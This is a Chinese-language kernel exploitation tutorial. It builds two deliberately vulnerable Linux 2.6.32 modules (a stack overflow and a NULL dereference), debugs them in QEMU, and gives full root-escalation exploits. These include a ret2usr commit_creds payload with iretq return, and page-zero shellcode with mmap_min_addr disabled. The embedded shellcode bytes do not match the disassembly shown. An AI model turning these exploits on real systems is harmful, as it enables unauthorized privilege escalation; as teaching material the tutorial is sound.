kernel pwn 的 demo
-
stack_overflow
漏洞代码:
#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> int bug2_write(struct file *file,const char *buf,unsigned long len) { char localbuf[8]; memcpy(localbuf,buf,len); return len; } static int __init stack_smashing_init(void) { printk(KERN_ALERT "stack_smashing driver init!n"); create_proc_entry("bug2",0666,0)->write_proc = bug2_write; return 0; } static void __exit stack_smashing_exit(void) { printk(KERN_ALERT "stack_smashing driver exit!n"); } module_init(stack_smashing_init); module_exit(stack_smashing_exit);
Makefile
# Makefile obj-m := stack_smashing.o KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/ PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules moduels_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install clean: rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
放在同一个文件夹中直接 make,可以得到有洞的 stack_smashing.ko,把它复制到 busybox 文件系统的根目录下
poc.c
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <fcntl.h> int main(){ char buf[24] = {0}; memset(buf,"A",24); *((void**)(buf + 20)) = 0x42424242; int fd = open("/proc/bug2",O_WRONLY); write(fd,buf,sizeof(buf)); }
gcc 静态编译后也扔到 busybox 中,然后重新打包
find . | cpio -o --format=newc > ../../qemu_run/rootfs_stack_smashing.img
boot.sh
#!/bin/sh qemu-system-x86_64 \ -kernel ../linux-2.6.32.1/arch/x86/boot/bzImage \ -initrd ./rootfs_stack_smashing.img
启动 qemu 后,ctrl + alt + 2 进入控制界面,然后手动打开监听
gdbserver tcp::1233
启动 gdb 链接
gdb vmlinux target remote 127.0.0.1:1233 add-symbol-file ./stack_smashing.ko 0xffffffffa0000000 b bug2_write c
在 qemu 中插入设备,并用 poc 验证
insmod ./stack_smashing.ko ./usr/poc
然后看一下当前执行
跳到 *0xffffffffa0000022 处看一下内存
b *0xffffffffa0000022 c ni
可验证存在栈溢出,然后就可以根据这个写 exp 了。
提权的思路就是执行 commit_creds(prepare_kernel_cred(0)),然后返回用户态执行 swapgs 和 iretq,执行 iretq 前还需要提前构造好栈帧。
struct trap_frame { void* eip; // instruction pointer +0 uint32_t cs; // code segment +4 uint32_t eflags; // CPU flags +8 void* esp; // stack pointer +12 uint32_t ss; // stack segment +16 } __attribute__((packed));
最后的 exp:(其中 prepare_kernel_cred 和 commit_creds 的地址通过 cat /proc/kallsyms 查看。)
//gcc exp.c -static -masm=intel -g -o exp_stack #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <stdint.h> size_t user_rip; size_t user_cs; size_t user_rflags; size_t user_sp; size_t user_ss; struct trap_frame{ size_t user_rip; size_t user_cs; size_t user_rflags; size_t user_sp; size_t user_ss; }__attribute__((packed)); struct trap_frame tf; size_t addr=&tf; //user_rip void get_shell(void){ system("/bin/sh"); } void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); tf.user_rip = &get_shell; tf.user_cs = user_cs; tf.user_rflags = user_rflags; tf.user_sp = user_sp-0x1000; //why? tf.user_ss = user_ss; puts("[*]status has been saved."); } #define KERNCALL __attribute__((regparm(3))); size_t prepare_kernel_cred = 0xffffffff810814e0; size_t commit_creds = 0xffffffff810812f0; void payload(void) { // payload here char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); asm( "swapgs;" // exchange GS "mov rsp, addr;" "iretq;"); } int main(void) { char buf[48]; memset(buf, 0x41, 48); *((void**)(buf+32)) = &payload; // set rip to payload save_status(); int fd = open("/proc/bug2", O_WRONLY); write(fd, buf, sizeof(buf)); return 0; }
手动在 qemu 中添加一个用户,然后按照上面的方法进行调试,看一下漏洞触发时的栈情况
可以看到以及跳转到我们构造好的栈地址了,执行后可成功提权
-
NULL Dereference
经典的空指针引用,映射 0 地址分配 shellcode 运行
漏洞代码:
#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> void (*my_funptr)(void); int bug1_write(struct file *file,const char *buf,unsigned long len) { my_funptr(); return len; } static int __init null_dereference_init(void) { printk(KERN_ALERT "null_dereference driver init!n"); create_proc_entry("bug1",0666,0)->write_proc = bug1_write; return 0; } static void __exit null_dereference_exit(void) { printk(KERN_ALERT "null_dereference driver exitn"); } module_init(null_dereference_init); module_exit(null_dereference_exit);
Makefile
obj-m := null_dereference.o KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/ PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules moduels_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install clean: rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
直接上 exp 了
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";//shellcode int main(){ mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0); memcpy(0, payload, sizeof(payload)); int fd = open("/proc/bug1", O_WRONLY); write(fd, "muhe", 4); return 0; }
这里的提权还是用的 commit_creds(prepare_kernel_cred(0)),其中 commit_creds 和 prepare_kernel_cred 的地址都直接可以从 /proc/kallsyms 中拿到。
汇编形式的 shellcode:
xor %rax,%rax call 0xffffffff81083610 call 0xffffffff81083420 ret
编译之后用 objdump 直接看:
gcc -o payload payload.s -nostdlib -Ttext=0 objdump -d payload payload: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <__bss_start-0x20000e>: 0: 48 31 c0 xor %rax,%rax 3: e8 08 36 08 81 callq ffffffff81083610 <_end+0xffffffff80e83600> 8: e8 13 34 08 81 callq ffffffff81083420 <_end+0xffffffff80e83410> d: c3 retq
调试的时候要把断点下在 0x0 处,但正常执行 exp 的时候会报错
insmod nulldereference.ko touch /etc/passwd adduser abc touch /etc/group su abc whoami
原因是 2.6.32 内核已经使用 mmap_min_addr 作为缓解措施 mmap_min_addr 为 4096,需要设置下 mmap_min_addr。
exit sysctl -w vm.mmap_min_addr="0" su abc /usr/exp
这次就可以直接跳转到我们写好的 shellcode 并执行了。
-
参考文献